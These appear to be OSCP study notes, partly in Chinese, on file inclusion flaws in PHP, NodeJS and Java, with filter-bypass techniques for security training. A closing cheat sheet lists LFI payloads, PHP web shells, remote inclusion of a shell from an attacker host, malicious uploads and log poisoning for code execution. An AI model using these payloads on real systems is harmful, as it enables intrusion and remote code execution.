# File Inclusion ###### tags: `OSCP` File Inclusion vulnerabilities can occur in many of the most popular web servers and development frameworks, like **PHP**, **NodeJS**, **Java**, **.Net**, and many others #### PHP PHP functions that would lead to the same vulnerability ```php=1 if (isset($_GET['language'])) { include($_GET['language']); } ``` **include()**, **include_once()**, **require()**, **require_once()**, **file_get_contents()** --- #### NodeJS The following is a basic example of how a GET parameter language is used to control what data is written to a page: ```javascript=1 if(req.query.language) { fs.readFile(path.join(__dirname, req.query.language), function (err, data) { res.write(data); }); } ``` As the parameter is directly used within the render() function to specify the rendered file, we can change the URL to show a different file instead. ```javascript=1 app.get("/about/:language", function(req, res) { res.render(`/${req.params.language}/about.html`); }); ``` ---- #### Java Example of java include a file ```java=1 /*jsp*/ <c:if test="${not empty param.language}"> <jsp:include file="<%= request.getParameter('language') %>" /> </c:if> ``` The import function may also be used to render a local file or a URL, such as the following example: ```java=1 <c:import url= "<%= request.getParameter('language') %>"/> ``` ---- ## 進入正題 ### 1. Path Traversal ```php=1 include($_GET['language']); ``` 解法: ../../../../etc/passwd,盡可能不要增加太多的../ ### 2. Filename Prefix ```php=1 include("lang_" . $_GET['language']); ``` we can prefix a / before our payload /../../../../etc/passwd 但並非每次都有用,因為目錄 (lang_/)不一定存在。 ### 3. Appended Extensions ```php=1 include($_GET['language'] . ".php"); ``` This is quite common 如果要讀 /etc/passwd,因為程式的寫法,會讓路徑後面多接一個.php,就是/etc/passwd.php。 ### 4. Second-Order Attacks 此攻擊會發生是因為許多網頁應用的功能可能不安全的透過使用者能夠控制的參數,從後端提取檔案 例如: 可以通過 ( /profile/$username/avatar.png) 之類的 URL 下載自己的頭像,但如果製作惡意LFI username(例如:../../../etc/passwd),就有可能將要被拉取的文件改成服務氣上的另一個其他文件,而非自己的頭像。 ### 5. Non-Recursive Path Traversal Filters 最基本的過濾是search and replace,簡單的刪除(../)避免path traversals ```php=1 $language = str_replace('../', '', $_GET['language']); ``` 但這個很不安全,因為他不會recursively removing(../),如果是....//,只會移除../,所以為../。 如果不行也可以用(..././)或(....\/),或增加額外的/。 (e.g. ....////) ### 6. Encoding 如果不允許輸入為. 和 / , we can URL encode ../ into %2e%2e%2f 為此,我們必須對所有字符進行 URL 編碼,包括點 此外,我們還可以使用 Burp Decoder 對編碼後的字符串進行再次編碼,得到雙重編碼的字符串,這也可以繞過其他類型的過濾器。 ### 7. Approved Paths 一些 Web 還能使用正則表達式來確保包含的文件位於特定路徑下。 例如,我們一直在處理的 Web 應用程序可能只接受 ./languages 目錄下的路徑 ```php=1 if(preg_match('/^\.\/languages\/.+$/', $_GET['language'])) { include($_GET['language']); } else { echo 'Illegal path specified!'; } ``` 要找到批准的路徑(Approved Paths),我們可以檢查現有表單發送的請求,並查看它們用於正常 Web 功能的路徑。 此外,我們可以對同一路徑下的 Web 目錄進行模糊測試,並嘗試不同的目錄,直到找到匹配項。 EX: <SERVER_IP>:<PORT>/index.php?language=./languages/../../../../etc/passwd 一些 Web 可能會將此過濾與早期過濾之一一起應用,因此我們可以通過使用批准的路徑啟動我們的payload來結合這兩種技術,然後對我們的有效負載進行 URL 編碼或使用recursive payload. ## CheetSheet ### Local File Inclusion | **Command** | **Description** | | --------------|-------------------| | **Basic LFI** | | `/index.php?language=/etc/passwd` | Basic LFI | | `/index.php?language=../../../../etc/passwd` | LFI with path traversal | | `/index.php?language=/../../../etc/passwd` | LFI with name prefix | | `/index.php?language=./languages/../../../../etc/passwd` | LFI with approved path | | **LFI Bypasses** | | `/index.php?language=....//....//....//....//etc/passwd` | Bypass basic path traversal filter | | `/index.php?language=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64` | Bypass filters with URL encoding | | `/index.php?language=non_existing_directory/../../../etc/passwd/./././.[./ REPEATED ~2048 times]` | Bypass appended extension with path truncation (obsolete) | | `/index.php?language=../../../../etc/passwd%00` | Bypass appended extension with null byte (obsolete) | | `/index.php?language=php://filter/read=convert.base64-encode/resource=config` | Read PHP with base64 filter | ### Remote Code Execution | **Command** | **Description** | | --------------|-------------------| | **PHP Wrappers** | | `/index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id` | RCE with data wrapper | | `curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' "http://<SERVER_IP>:<PORT>/index.php?language=php://input&cmd=id"` | RCE with input wrapper | | `curl -s "http://<SERVER_IP>:<PORT>/index.php?language=expect://id"` | RCE with expect wrapper | | **RFI** | | `echo '<?php system($_GET["cmd"]); ?>' > shell.php && python3 -m http.server <LISTENING_PORT>` | Host web shell | | `/index.php?language=http://<OUR_IP>:<LISTENING_PORT>/shell.php&cmd=id` | Include remote PHP web shell | | **LFI + Upload** | | `echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif` | Create malicious image | | `/index.php?language=./profile_images/shell.gif&cmd=id` | RCE with malicious uploaded image | | `echo '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.jpg shell.php` | Create malicious zip archive 'as jpg' | | `/index.php?language=zip://shell.zip%23shell.php&cmd=id` | RCE with malicious uploaded zip | | `php --define phar.readonly=0 shell.php && mv shell.phar shell.jpg` | Create malicious phar 'as jpg' | | `/index.php?language=phar://./profile_images/shell.jpg%2Fshell.txt&cmd=id` | RCE with malicious uploaded phar | | **Log Poisoning** | | `/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd` | Read PHP session parameters | | `/index.php?language=%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E` | Poison PHP session with web shell | | `/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd&cmd=id` | RCE through poisoned PHP session | | `curl -s "http://<SERVER_IP>:<PORT>/index.php" -A '<?php system($_GET["cmd"]); ?>'` | Poison server log | | `/index.php?language=/var/log/apache2/access.log&cmd=id` | RCE through poisoned PHP session | ### Misc | **Command** | **Description** | | --------------|-------------------| | `ffuf -w /opt/useful/SecLists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?FUZZ=value' -fs 2287` | Fuzz page parameters | | `ffuf -w /opt/useful/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=FUZZ' -fs 2287` | Fuzz LFI payloads | | `ffuf -w /opt/useful/SecLists/Discovery/Web-Content/default-web-root-directory-linux.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=../../../../FUZZ/index.php' -fs 2287` | Fuzz webroot path | | `ffuf -w ./LFI-WordList-Linux:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=../../../../FUZZ' -fs 2287` | Fuzz server configurations | | [LFI Wordlists](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)| | [LFI-Jhaddix.txt](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/LFI/LFI-Jhaddix.txt) | | [Webroot path wordlist for Linux](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/default-web-root-directory-linux.txt) | [Webroot path wordlist for Windows](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/default-web-root-directory-windows.txt) | | [Server configurations wordlist for Linux](https://raw.githubusercontent.com/DragonJAR/Security-Wordlist/main/LFI-WordList-Linux) | [Server configurations wordlist for Windows](https://raw.githubusercontent.com/DragonJAR/Security-Wordlist/main/LFI-WordList-Windows) | ### File Inclusion Functions | **Function** | **Read Content** | **Execute** | **Remote URL** | | ----- | :-----: | :-----: | :-----: | | **PHP** | | `include()`/`include_once()` | ✅ | ✅ | ✅ | | `require()`/`require_once()` | ✅ | ✅ | ❌ | | `file_get_contents()` | ✅ | ❌ | ✅ | | `fopen()`/`file()` | ✅ | ❌ | ❌ | | **NodeJS** | | `fs.readFile()` | ✅ | ❌ | ❌ | | `fs.sendFile()` | ✅ | ❌ | ❌ | | `res.render()` | ✅ | ✅ | ❌ | | **Java** | | `include` | ✅ | ❌ | ❌ | | `import` | ✅ | ✅ | ✅ | | **.NET** | | | `@Html.Partial()` | ✅ | ❌ | ❌ | | `@Html.RemotePartial()` | ✅ | ❌ | ✅ | | `Response.WriteFile()` | ✅ | ❌ | ❌ | | `include` | ✅ | ✅ | ✅ |